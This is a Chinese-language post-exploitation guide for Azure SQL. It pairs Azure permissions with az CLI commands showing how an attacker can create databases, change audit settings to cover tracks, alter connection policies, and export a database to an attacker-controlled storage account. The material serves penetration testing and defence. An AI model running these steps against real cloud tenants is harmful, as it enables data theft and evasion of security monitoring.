SQL 数据库后期利用
有关 SQL 数据库的更多信息,请查看:
"Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
拥有这些权限后,攻击者可以在被攻陷的环境中创建和更新数据库。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以进一步保持存在,可能会干扰操作或启用其他恶意行为。
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
"Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
通过这些权限,攻击者可以在被攻陷的环境中创建和更新弹性池。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以实现进一步的持久性,可能会干扰操作或启用其他恶意行为。
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
"Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
通过此权限,您可以修改或启用 Azure SQL Server 上的审计设置。这可能允许攻击者或授权用户操纵审计配置,从而潜在地掩盖痕迹或将审计日志重定向到他们控制的位置。这可能会妨碍安全监控或使其能够跟踪操作。注意:要使用 Blob 存储为 Azure SQL Server 启用审计,您必须附加一个可以保存审计日志的存储帐户。
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
"Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
通过此权限,您可以修改 Azure SQL Server 的连接策略。此功能可被利用来启用或更改服务器级连接设置
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
"Microsoft.Sql/servers/databases/export/action"
拥有此权限,您可以将数据库从 Azure SQL Server 导出到存储帐户。具有此权限的攻击者或授权用户可以通过将其导出到他们控制的位置来提取数据库中的敏感数据,从而构成重大数据泄露风险。了解存储密钥以便能够执行此操作非常重要。
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
"Microsoft.Sql/servers/databases/import/action"
拥有此权限,您可以将数据库导入到 Azure SQL Server。攻击者或拥有此权限的授权用户可能会上传恶意或被篡改的数据库。这可能导致控制敏感数据,或通过在导入的数据库中嵌入有害脚本或触发器。此外,您可以将其导入到您自己的 Azure 服务器。注意:服务器必须允许 Azure 服务和资源访问该服务器。
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"